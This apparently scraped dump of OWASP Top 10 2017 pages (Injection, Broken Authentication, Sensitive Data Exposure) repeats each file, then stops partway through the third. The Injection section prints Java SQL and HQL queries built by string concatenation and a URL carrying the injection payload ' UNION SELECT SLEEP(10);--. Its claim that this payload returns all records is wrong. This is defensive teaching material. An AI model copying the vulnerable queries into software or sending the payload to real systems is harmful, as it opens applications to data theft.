| A6:2017-Security Misconfiguration | Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion. |
| A7:2017-Cross-Site Scripting (XSS) | XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites. |
| A8:2017-Insecure Deserialization | Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks. |
| A9:2017-Using Components with Known Vulnerabilities | Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts. |
| A10:2017-Insufficient Logging & Monitoring| Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring. |
|
0xa1-injection.md | ./Top10/2017/en/0xa1-injection.md | # A1:2017 Injection
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 3 | Prevalence 2 : Detectability 3 | Technical 3 : Business |
| Almost any source of data can be an injection vector, environment variables, parameters, external and internal web services, and all types of users. [Injection flaws](https://www.owasp.org/index.php/Injection_Flaws) occur when an attacker can send hostile data to an interpreter. | Injection flaws are very prevalent, particularly in legacy code. Injection vulnerabilities are often found in SQL, LDAP, XPath, or NoSQL queries, OS commands, XML parsers, SMTP headers, expression languages, and ORM queries. Injection flaws are easy to discover when examining code. Scanners and fuzzers can help attackers find injection flaws. |Injection can result in data loss, corruption, or disclosure to unauthorized parties, loss of accountability, or denial of access. Injection can sometimes lead to complete host takeover. The business impact depends on the needs of the application and data.|
## Is the Application Vulnerable?
An application is vulnerable to attack when:
* User-supplied data is not validated, filtered, or sanitized by the application.
* Dynamic queries or non-parameterized calls without context-aware escaping are used directly in the interpreter.
* Hostile data is used within object-relational mapping (ORM) search parameters to extract additional, sensitive records.
* Hostile data is directly used or concatenated, such that the SQL or command contains both structure and hostile data in dynamic queries, commands, or stored procedures.
* Some of the more common injections are SQL, NoSQL, OS command, Object Relational Mapping (ORM), LDAP, and Expression Language (EL) or Object Graph Navigation Library (OGNL) injection. The concept is identical among all interpreters. Source code review is the best method of detecting if applications are vulnerable to injections, closely followed by thorough automated testing of all parameters, headers, URL, cookies, JSON, SOAP, and XML data inputs. Organizations can include static source ([SAST](https://www.owasp.org/index.php/Source_Code_Analysis_Tools)) and dynamic application test ([DAST](https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools)) tools into the CI/CD pipeline to identify newly introduced injection flaws prior to production deployment.
## How To Prevent
Preventing injection requires keeping data separate from commands and queries.
* The preferred option is to use a safe API, which avoids the use of the interpreter entirely or provides a parameterized interface, or migrate to use Object Relational Mapping Tools (ORMs). **Note**: Even when parameterized, stored procedures can still introduce SQL injection if PL/SQL or T-SQL concatenates queries and data, or executes hostile data with EXECUTE IMMEDIATE or exec().
* Use positive or "whitelist" server-side input validation. This is not a complete defense as many applications require special characters, such as text areas or APIs for mobile applications.
* For any residual dynamic queries, escape special characters using the specific escape syntax for that interpreter. **Note**: SQL structure such as table names, column names, and so on cannot be escaped, and thus user-supplied structure names are dangerous. This is a common issue in report-writing software.
* Use LIMIT and other SQL controls within queries to prevent mass disclosure of records in case of SQL injection.
## Example Attack Scenarios
**Scenario #1**: An application uses untrusted data in the construction of the following vulnerable SQL call:
`String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";`
**Scenario #2**: Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable, (e.g. Hibernate Query Language (HQL)):
`Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");`
In both cases, the attacker modifies the ‘id’ parameter value in their browser to send: ' UNION SELECT SLEEP(10);--. For example:
`http://example.com/app/accountView?id=' UNION SELECT SLEEP(10);--`
This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify or delete data, or even invoke stored procedures.
## References
### OWASP
* [OWASP Proactive Controls: Parameterize Queries](https://www.owasp.org/index.php/OWASP_Proactive_Controls#2:_Parameterize_Queries)
* [OWASP ASVS: V5 Input Validation and Encoding](https://www.owasp.org/index.php/ASVS_V5_Input_validation_and_output_encoding)
* [OWASP Testing Guide: SQL Injection](https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)), [Command Injection](https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)), [ORM injection](https://www.owasp.org/index.php/Testing_for_ORM_Injection_(OTG-INPVAL-007))
* [OWASP Cheat Sheet: Injection Prevention](https://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet)
* [OWASP Cheat Sheet: SQL Injection Prevention](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet)
* [OWASP Cheat Sheet: Injection Prevention in Java](https://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet_in_Java)
* [OWASP Cheat Sheet: Query Parameterization](https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet)
* [OWASP Automated Threats to Web Applications – OAT-014](https://www.owasp.org/index.php/OWASP_Automated_Threats_to_Web_Applications)
### External
* [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)
* [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)
* [CWE-564: Hibernate Injection](https://cwe.mitre.org/data/definitions/564.html)
* [CWE-917: Expression Language Injection](https://cwe.mitre.org/data/definitions/917.html)
* [PortSwigger: Server-side template injection](https://portswigger.net/kb/issues/00101080_serversidetemplateinjection)
| 6,103 | 0.005828 | # A1:2017 Injection
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 3 | Prevalence 2 : Detectability 3 | Technical 3 : Business |
| Almost any source of data can be an injection vector, environment variables, parameters, external and internal web services, and all types of users. [Injection flaws](https://www.owasp.org/index.php/Injection_Flaws) occur when an attacker can send hostile data to an interpreter. | Injection flaws are very prevalent, particularly in legacy code. Injection vulnerabilities are often found in SQL, LDAP, XPath, or NoSQL queries, OS commands, XML parsers, SMTP headers, expression languages, and ORM queries. Injection flaws are easy to discover when examining code. Scanners and fuzzers can help attackers find injection flaws. |Injection can result in data loss, corruption, or disclosure to unauthorized parties, loss of accountability, or denial of access. Injection can sometimes lead to complete host takeover. The business impact depends on the needs of the application and data.|
## Is the Application Vulnerable?
An application is vulnerable to attack when:
* User-supplied data is not validated, filtered, or sanitized by the application.
* Dynamic queries or non-parameterized calls without context-aware escaping are used directly in the interpreter.
* Hostile data is used within object-relational mapping (ORM) search parameters to extract additional, sensitive records.
* Hostile data is directly used or concatenated, such that the SQL or command contains both structure and hostile data in dynamic queries, commands, or stored procedures.
* Some of the more common injections are SQL, NoSQL, OS command, Object Relational Mapping (ORM), LDAP, and Expression Language (EL) or Object Graph Navigation Library (OGNL) injection. The concept is identical among all interpreters. Source code review is the best method of detecting if applications are vulnerable to injections, closely followed by thorough automated testing of all parameters, headers, URL, cookies, JSON, SOAP, and XML data inputs. Organizations can include static source ([SAST](https://www.owasp.org/index.php/Source_Code_Analysis_Tools)) and dynamic application test ([DAST](https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools)) tools into the CI/CD pipeline to identify newly introduced injection flaws prior to production deployment.
## How To Prevent
Preventing injection requires keeping data separate from commands and queries.
* The preferred option is to use a safe API, which avoids the use of the interpreter entirely or provides a parameterized interface, or migrate to use Object Relational Mapping Tools (ORMs). **Note**: Even when parameterized, stored procedures can still introduce SQL injection if PL/SQL or T-SQL concatenates queries and data, or executes hostile data with EXECUTE IMMEDIATE or exec().
* Use positive or "whitelist" server-side input validation. This is not a complete defense as many applications require special characters, such as text areas or APIs for mobile applications.
* For any residual dynamic queries, escape special characters using the specific escape syntax for that interpreter. **Note**: SQL structure such as table names, column names, and so on cannot be escaped, and thus user-supplied structure names are dangerous. This is a common issue in report-writing software.
* Use LIMIT and other SQL controls within queries to prevent mass disclosure of records in case of SQL injection.
## Example Attack Scenarios
**Scenario #1**: An application uses untrusted data in the construction of the following vulnerable SQL call:
`String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";`
**Scenario #2**: Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable, (e.g. Hibernate Query Language (HQL)):
`Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");`
In both cases, the attacker modifies the ‘id’ parameter value in their browser to send: ' UNION SELECT SLEEP(10);--. For example:
`http://example.com/app/accountView?id=' UNION SELECT SLEEP(10);--`
This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify or delete data, or even invoke stored procedures.
## References
### OWASP
* [OWASP Proactive Controls: Parameterize Queries](https://www.owasp.org/index.php/OWASP_Proactive_Controls#2:_Parameterize_Queries)
* [OWASP ASVS: V5 Input Validation and Encoding](https://www.owasp.org/index.php/ASVS_V5_Input_validation_and_output_encoding)
* [OWASP Testing Guide: SQL Injection](https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)), [Command Injection](https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)), [ORM injection](https://www.owasp.org/index.php/Testing_for_ORM_Injection_(OTG-INPVAL-007))
* [OWASP Cheat Sheet: Injection Prevention](https://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet)
* [OWASP Cheat Sheet: SQL Injection Prevention](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet)
* [OWASP Cheat Sheet: Injection Prevention in Java](https://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet_in_Java)
* [OWASP Cheat Sheet: Query Parameterization](https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet)
* [OWASP Automated Threats to Web Applications – OAT-014](https://www.owasp.org/index.php/OWASP_Automated_Threats_to_Web_Applications)
### External
* [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)
* [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)
* [CWE-564: Hibernate Injection](https://cwe.mitre.org/data/definitions/564.html)
* [CWE-917: Expression Language Injection](https://cwe.mitre.org/data/definitions/917.html)
* [PortSwigger: Server-side template injection](https://portswigger.net/kb/issues/00101080_serversidetemplateinjection)
|
0xa2-broken-authentication.md | ./Top10/2017/en/0xa2-broken-authentication.md | # A2:2017 Broken Authentication
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 3 | Prevalence 2 : Detectability 2 | Technical 3 : Business |
| Attackers have access to hundreds of millions of valid username and password combinations for credential stuffing, default administrative account lists, automated brute force, and dictionary attack tools. Session management attacks are well understood, particularly in relation to unexpired session tokens. | The prevalence of broken authentication is widespread due to the design and implementation of most identity and access controls. Session management is the bedrock of authentication and access controls, and is present in all stateful applications. Attackers can detect broken authentication using manual means and exploit them using automated tools with password lists and dictionary attacks. | Attackers have to gain access to only a few accounts, or just one admin account to compromise the system. Depending on the domain of the application, this may allow money laundering, social security fraud, and identity theft, or disclose legally protected highly sensitive information. |
## Is the Application Vulnerable?
Confirmation of the user's identity, authentication, and session management are critical to protect against authentication-related attacks.
There may be authentication weaknesses if the application:
* Permits automated attacks such as [credential stuffing](https://www.owasp.org/index.php/Credential_stuffing), where the attacker has a list of valid usernames and passwords.
* Permits brute force or other automated attacks.
* Permits default, weak, or well-known passwords, such as "Password1" or "admin/admin“.
* Uses weak or ineffective credential recovery and forgot-password processes, such as "knowledge-based answers", which cannot be made safe.
* Uses plain text, encrypted, or weakly hashed passwords (see **A3:2017-Sensitive Data Exposure**).
* Has missing or ineffective multi-factor authentication.
* Exposes Session IDs in the URL (e.g., URL rewriting).
* Does not rotate Session IDs after successful login.
* Does not properly invalidate Session IDs. User sessions or authentication tokens (particularly single sign-on (SSO) tokens) aren't properly invalidated during logout or a period of inactivity.
## How To Prevent
* Where possible, implement multi-factor authentication to prevent automated, credential stuffing, brute force, and stolen credential re-use attacks.
* Do not ship or deploy with any default credentials, particularly for admin users.
* Implement weak-password checks, such as testing new or changed passwords against a list of the [top 10000 worst passwords](https://github.com/danielmiessler/SecLists/tree/master/Passwords).
* Align password length, complexity and rotation policies with [NIST 800-63 B's guidelines in section 5.1.1 for Memorized Secrets](https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret) or other modern, evidence based password policies.
* Ensure registration, credential recovery, and API pathways are hardened against account enumeration attacks by using the same messages for all outcomes.
* Limit or increasingly delay failed login attempts. Log all failures and alert administrators when credential stuffing, brute force, or other attacks are detected.
* Use a server-side, secure, built-in session manager that generates a new random session ID with high entropy after login. Session IDs should not be in the URL, be securely stored and invalidated after logout, idle, and absolute timeouts.
## Example Attack Scenarios
Scenario #1: [Credential stuffing](https://www.owasp.org/index.php/Credential_stuffing), the use of [lists of known passwords](https://github.com/danielmiessler/SecLists), is a common attack. If an application does not implement automated threat or credential stuffing protections, the application can be used as a password oracle to determine if the credentials are valid.
**Scenario #2**: Most authentication attacks occur due to the continued use of passwords as a sole factor. Once considered best practices, password rotation and complexity requirements are viewed as encouraging users to use, and reuse, weak passwords. Organizations are recommended to stop these practices per NIST 800-63 and use multi-factor authentication.
**Scenario #3**: Application session timeouts aren't set properly. A user uses a public computer to access an application. Instead of selecting “logout” the user simply closes the browser tab and walks away. An attacker uses the same browser an hour later, and the user is still authenticated.
## References
### OWASP
* [OWASP Proactive Controls: Implement Identity and Authentication Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls#5:_Implement_Identity_and_Authentication_Controls)
* [OWASP Application Security Verification Standard: V2 Authentication](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home)
* [OWASP Application Security Verification Standard: V3 Session Management](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home)
* [OWASP Testing Guide: Identity](https://www.owasp.org/index.php/Testing_Identity_Management)
and [Authentication](https://www.owasp.org/index.php/Testing_for_authentication)
* [OWASP Cheat Sheet: Authentication](https://www.owasp.org/index.php/Authentication_Cheat_Sheet)
* [OWASP Cheat Sheet: Credential Stuffing](https://www.owasp.org/index.php/Credential_Stuffing_Prevention_Cheat_Sheet)
* [OWASP Cheat Sheet: Forgot Password](https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet)
* [OWASP Cheat Sheet: Session Management](https://www.owasp.org/index.php/Session_Management_Cheat_Sheet)
* [OWASP Automated Threats Handbook](https://www.owasp.org/index.php/OWASP_Automated_Threats_to_Web_Applications)
### External
* [NIST 800-63b: 5.1.1 Memorized Secrets](https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret) - for thorough, modern, evidence-based advice on authentication.
* [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)
* [CWE-384: Session Fixation](https://cwe.mitre.org/data/definitions/384.html)
| 6,318 | 0.006032 | # A2:2017 Broken Authentication
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 3 | Prevalence 2 : Detectability 2 | Technical 3 : Business |
| Attackers have access to hundreds of millions of valid username and password combinations for credential stuffing, default administrative account lists, automated brute force, and dictionary attack tools. Session management attacks are well understood, particularly in relation to unexpired session tokens. | The prevalence of broken authentication is widespread due to the design and implementation of most identity and access controls. Session management is the bedrock of authentication and access controls, and is present in all stateful applications. Attackers can detect broken authentication using manual means and exploit them using automated tools with password lists and dictionary attacks. | Attackers have to gain access to only a few accounts, or just one admin account to compromise the system. Depending on the domain of the application, this may allow money laundering, social security fraud, and identity theft, or disclose legally protected highly sensitive information. |
## Is the Application Vulnerable?
Confirmation of the user's identity, authentication, and session management are critical to protect against authentication-related attacks.
There may be authentication weaknesses if the application:
* Permits automated attacks such as [credential stuffing](https://www.owasp.org/index.php/Credential_stuffing), where the attacker has a list of valid usernames and passwords.
* Permits brute force or other automated attacks.
* Permits default, weak, or well-known passwords, such as "Password1" or "admin/admin“.
* Uses weak or ineffective credential recovery and forgot-password processes, such as "knowledge-based answers", which cannot be made safe.
* Uses plain text, encrypted, or weakly hashed passwords (see **A3:2017-Sensitive Data Exposure**).
* Has missing or ineffective multi-factor authentication.
* Exposes Session IDs in the URL (e.g., URL rewriting).
* Does not rotate Session IDs after successful login.
* Does not properly invalidate Session IDs. User sessions or authentication tokens (particularly single sign-on (SSO) tokens) aren't properly invalidated during logout or a period of inactivity.
## How To Prevent
* Where possible, implement multi-factor authentication to prevent automated, credential stuffing, brute force, and stolen credential re-use attacks.
* Do not ship or deploy with any default credentials, particularly for admin users.
* Implement weak-password checks, such as testing new or changed passwords against a list of the [top 10000 worst passwords](https://github.com/danielmiessler/SecLists/tree/master/Passwords).
* Align password length, complexity and rotation policies with [NIST 800-63 B's guidelines in section 5.1.1 for Memorized Secrets](https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret) or other modern, evidence based password policies.
* Ensure registration, credential recovery, and API pathways are hardened against account enumeration attacks by using the same messages for all outcomes.
* Limit or increasingly delay failed login attempts. Log all failures and alert administrators when credential stuffing, brute force, or other attacks are detected.
* Use a server-side, secure, built-in session manager that generates a new random session ID with high entropy after login. Session IDs should not be in the URL, be securely stored and invalidated after logout, idle, and absolute timeouts.
## Example Attack Scenarios
Scenario #1: [Credential stuffing](https://www.owasp.org/index.php/Credential_stuffing), the use of [lists of known passwords](https://github.com/danielmiessler/SecLists), is a common attack. If an application does not implement automated threat or credential stuffing protections, the application can be used as a password oracle to determine if the credentials are valid.
**Scenario #2**: Most authentication attacks occur due to the continued use of passwords as a sole factor. Once considered best practices, password rotation and complexity requirements are viewed as encouraging users to use, and reuse, weak passwords. Organizations are recommended to stop these practices per NIST 800-63 and use multi-factor authentication.
**Scenario #3**: Application session timeouts aren't set properly. A user uses a public computer to access an application. Instead of selecting “logout” the user simply closes the browser tab and walks away. An attacker uses the same browser an hour later, and the user is still authenticated.
## References
### OWASP
* [OWASP Proactive Controls: Implement Identity and Authentication Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls#5:_Implement_Identity_and_Authentication_Controls)
* [OWASP Application Security Verification Standard: V2 Authentication](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home)
* [OWASP Application Security Verification Standard: V3 Session Management](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home)
* [OWASP Testing Guide: Identity](https://www.owasp.org/index.php/Testing_Identity_Management)
and [Authentication](https://www.owasp.org/index.php/Testing_for_authentication)
* [OWASP Cheat Sheet: Authentication](https://www.owasp.org/index.php/Authentication_Cheat_Sheet)
* [OWASP Cheat Sheet: Credential Stuffing](https://www.owasp.org/index.php/Credential_Stuffing_Prevention_Cheat_Sheet)
* [OWASP Cheat Sheet: Forgot Password](https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet)
* [OWASP Cheat Sheet: Session Management](https://www.owasp.org/index.php/Session_Management_Cheat_Sheet)
* [OWASP Automated Threats Handbook](https://www.owasp.org/index.php/OWASP_Automated_Threats_to_Web_Applications)
### External
* [NIST 800-63b: 5.1.1 Memorized Secrets](https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret) - for thorough, modern, evidence-based advice on authentication.
* [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)
* [CWE-384: Session Fixation](https://cwe.mitre.org/data/definitions/384.html)
|
0xa3-sensitive-data-disclosure.md | ./Top10/2017/en/0xa3-sensitive-data-disclosure.md | # A3:2017 Sensitive Data Exposure
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 2 | Prevalence 3 : Detectability 2 | Technical 3 : Business |
| Rather than directly attacking crypto, attackers steal keys, execute man-in-the-middle attacks, or steal clear text data off the server, while in transit, or from the user’s client, e.g. browser. A manual attack is generally required. Previously retrieved password databases could be brute forced by Graphics Processing Units (GPUs). | Over the last few years, this has been the most common impactful attack. The most common flaw is simply not encrypting sensitive data. When crypto is employed, weak key generation and management, and weak algorithm, protocol and cipher usage is common, particularly for weak password hashing storage techniques. For data in transit, server side weaknesses are mainly easy to detect, but hard for data at rest. | Failure frequently compromises all data that should have been protected. Typically, this information includes sensitive personal information (PII) data such as health records, credentials, personal data, and credit cards, which often require protection as defined by laws or regulations such as the EU GDPR or local privacy laws. |
## Is the Application Vulnerable?
The first thing is to determine the protection needs of data in transit and at rest. For example, passwords, credit card numbers, health records, personal information and business secrets require extra protection, particularly if that data falls under privacy laws, e.g. EU's General Data Protection Regulation (GDPR), or regulations, e.g. financial data protection such as PCI Data Security Standard (PCI DSS). For all such data:
* Is any data transmitted in clear text? This concerns protocols such as HTTP, SMTP, and FTP. External internet traffic is especially dangerous. Verify all internal traffic e.g. between load balancers, web servers, or back-end systems.
* Are any old or weak cryptographic algorithms used either by default or in older code?
* Are default crypto keys in use, weak crypto keys generated or re-used, or is proper key management or rotation missing?
* Is encryption not enforced, e.g. are any user agent (browser) security directives or headers missing?
* Does the user agent (e.g. app, mail client) not verify if the received server certificate is valid?
See ASVS [Crypto (V7)](https://www.owasp.org/index.php/ASVS_V7_Cryptography), [Data Protection (V9)](https://www.owasp.org/index.php/ASVS_V9_Data_Protection) and [SSL/TLS (V10)](https://www.owasp.org/index.php/ASVS_V10_Communications).
## How To Prevent
Do the following, at a minimum, and consult the references:
* Classify data processed, stored or transmitted by an application. Identify which data is sensitive according to privacy laws, regulatory requirements, or business needs.
* Apply controls as per the classification.
* Don't store sensitive data unnecessarily. Discard it as soon as possible or use PCI DSS compliant tokenization or even truncation. Data that is not retained cannot be stolen.
* Make sure to encrypt all sensitive data at rest.
* Ensure up-to-date and strong standard algorithms, protocols, and keys are in place; use proper key management.
* Encrypt all data in transit with secure protocols such as TLS with perfect forward secrecy (PFS) ciphers, cipher prioritization by the server, and secure parameters. Enforce encryption using directives like HTTP Strict Transport Security (HSTS).
* Disable caching for response that contain sensitive data.
* Store passwords using strong adaptive and salted hashing functions with a work factor (delay factor), such as [Argon2](https://www.cryptolux.org/index.php/Argon2), [scrypt](https://wikipedia.org/wiki/Scrypt), [bcrypt](https://wikipedia.org/wiki/Bcrypt) or [PBKDF2](https://wikipedia.org/wiki/PBKDF2).
* Verify independently the effectiveness of configuration and settings.
## Example Attack Scenarios
**Scenario #1**: An application encrypts credit card numbers in a database using automatic database encryption. However, this data is automatically decrypted when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text.
**Scenario #2**: A site doesn't use or enforce TLS for all pages or supports weak encryption. An attacker monitors network traffic (e.g. at an insecure wireless network), downgrades connections from HTTPS to HTTP, intercepts requests, and steals the user's session cookie. The attacker then replays this cookie and hijacks the user's (authenticated) session, accessing or modifying the user's private data. Instead of the above they could alter all transported data, e.g. the recipient of a money transfer.
**Scenario #3**: The password database uses unsalted or simple hashes to store everyone's passwords. A file upload flaw allows an attacker to retrieve the password database. All the unsalted hashes can be exposed with a rainbow table of pre-calculated hashes. Hashes generated by simple or fast hash functions may be cracked by GPUs, even if they were salted.
## References
* [OWASP Proactive Controls: Protect Data](https://www.owasp.org/index.php/OWASP_Proactive_Controls#7:_Protect_Data)
* [OWASP Application Security Verification Standard]((https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project)): [V7](https://www.owasp.org/index.php/ASVS_V7_Cryptography), [9](https://www.owasp.org/index.php/ASVS_V9_Data_Protection), [10](https://www.owasp.org/index.php/ASVS_V10_Communications)
* [OWASP Cheat Sheet: Transport Layer Protection](https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet)
* [OWASP Cheat Sheet: User Privacy Protection](https://www.owasp.org/index.php/User_Privacy_Protection_Cheat_Sheet)
* [OWASP Cheat Sheet: Password](https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet) and [Cryptographic Storage](https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet)
* [OWASP Security Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project); [Cheat Sheet: HSTS](https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet)
* [OWASP Testing Guide: Testing for weak cryptography](https://www.owasp.org/index.php/Testing_for_weak_Cryptography)
### External
* [CWE-220: Exposure of sens. information through data queries](https://cwe.mitre.org/data/definitions/220.html)
* [CWE-310: Cryptographic Issues](https://cwe.mitre.org/data/definitions/310.html); [CWE-311: Missing Encryption](https://cwe.mitre.org/data/definitions/311.html)
* [CWE-312: Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)
* [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)
* [CWE-326: Weak Encryption](https://cwe.mitre.org/data/definitions/326.html); [CWE-327: Broken/Risky Crypto](https://cwe.mitre.org/data/definitions/327.html)
* [CWE-359: Exposure of Private Information - Privacy Violation](https://cwe.mitre.org/data/definitions/359.html)
| 7,111 | 0.006787 | # A3:2017 Sensitive Data Exposure
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 2 | Prevalence 3 : Detectability 2 | Technical 3 : Business |
| Rather than directly attacking crypto, attackers steal keys, execute man-in-the-middle attacks, or steal clear text data off the server, while in transit, or from the user’s client, e.g. browser. A manual attack is generally required. Previously retrieved password databases could be brute forced by Graphics Processing Units (GPUs). | Over the last few years, this has been the most common impactful attack. The most common flaw is simply not encrypting sensitive data. When crypto is employed, weak key generation and management, and weak algorithm, protocol and cipher usage is common, particularly for weak password hashing storage techniques. For data in transit, server side weaknesses are mainly easy to detect, but hard for data at rest. | Failure frequently compromises all data that should have been protected. Typically, this information includes sensitive personal information (PII) data such as health records, credentials, personal data, and credit cards, which often require protection as defined by laws or regulations such as the EU GDPR or local privacy laws. |
## Is the Application Vulnerable?
The first thing is to determine the protection needs of data in transit and at rest. For example, passwords, credit card numbers, health records, personal information and business secrets require extra protection, particularly if that data falls under privacy laws, e.g. EU's General Data Protection Regulation (GDPR), or regulations, e.g. financial data protection such as PCI Data Security Standard (PCI DSS). For all such data:
* Is any data transmitted in clear text? This concerns protocols such as HTTP, SMTP, and FTP. External internet traffic is especially dangerous. Verify all internal traffic e.g. between load balancers, web servers, or back-end systems.
* Are any old or weak cryptographic algorithms used either by default or in older code?
* Are default crypto keys in use, weak crypto keys generated or re-used, or is proper key management or rotation missing?
* Is encryption not enforced, e.g. are any user agent (browser) security directives or headers missing?
* Does the user agent (e.g. app, mail client) not verify if the received server certificate is valid?
See ASVS [Crypto (V7)](https://www.owasp.org/index.php/ASVS_V7_Cryptography), [Data Protection (V9)](https://www.owasp.org/index.php/ASVS_V9_Data_Protection) and [SSL/TLS (V10)](https://www.owasp.org/index.php/ASVS_V10_Communications).
## How To Prevent
Do the following, at a minimum, and consult the references:
* Classify data processed, stored or transmitted by an application. Identify which data is sensitive according to privacy laws, regulatory requirements, or business needs.
* Apply controls as per the classification.
* Don't store sensitive data unnecessarily. Discard it as soon as possible or use PCI DSS compliant tokenization or even truncation. Data that is not retained cannot be stolen.
* Make sure to encrypt all sensitive data at rest.
* Ensure up-to-date and strong standard algorithms, protocols, and keys are in place; use proper key management.
* Encrypt all data in transit with secure protocols such as TLS with perfect forward secrecy (PFS) ciphers, cipher prioritization by the server, and secure parameters. Enforce encryption using directives like HTTP Strict Transport Security (HSTS).
* Disable caching for response that contain sensitive data.
* Store passwords using strong adaptive and salted hashing functions with a work factor (delay factor), such as [Argon2](https://www.cryptolux.org/index.php/Argon2), [scrypt](https://wikipedia.org/wiki/Scrypt), [bcrypt](https://wikipedia.org/wiki/Bcrypt) or [PBKDF2](https://wikipedia.org/wiki/PBKDF2).
* Verify independently the effectiveness of configuration and settings.
## Example Attack Scenarios
**Scenario #1**: An application encrypts credit card numbers in a database using automatic database encryption. However, this data is automatically decrypted when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text.
**Scenario #2**: A site doesn't use or enforce TLS for all pages or supports weak encryption. An attacker monitors network traffic (e.g. at an insecure wireless network), downgrades connections from HTTPS to HTTP, intercepts requests, and steals the user's session cookie. The attacker then replays this cookie and hijacks the user's (authenticated) session, accessing or modifying the user's private data. Instead of the above they could alter all transported data, e.g. the recipient of a money transfer.
**Scenario #3**: The password database uses unsalted or simple hashes to store everyone's passwords. A file upload flaw allows an attacker to retrieve the password database. All the unsalted hashes can be exposed with a rainbow table of pre-calculated hashes. Hashes generated by simple or fast hash functions may be cracked by GPUs, even if they were salted.
## References
* [OWASP Proactive Controls: Protect Data](https://www.owasp.org/index.php/OWASP_Proactive_Controls#7:_Protect_Data)
* [OWASP Application Security Verification Standard]((https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project)): [V7](https://www.owasp.org/index.php/ASVS_V7_Cryptography), [9](https://www.owasp.org/index.php/ASVS_V9_Data_Protection), [10](https://www.owasp.org/index.php/ASVS_V10_Communications)
* [OWASP Cheat Sheet: Transport Layer Protection](https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet)
* [OWASP Cheat Sheet: User Privacy Protection](https://www.owasp.org/index.php/User_Privacy_Protection_Cheat_Sheet)
* [OWASP Cheat Sheet: Password](https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet) and [Cryptographic Storage](https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet)
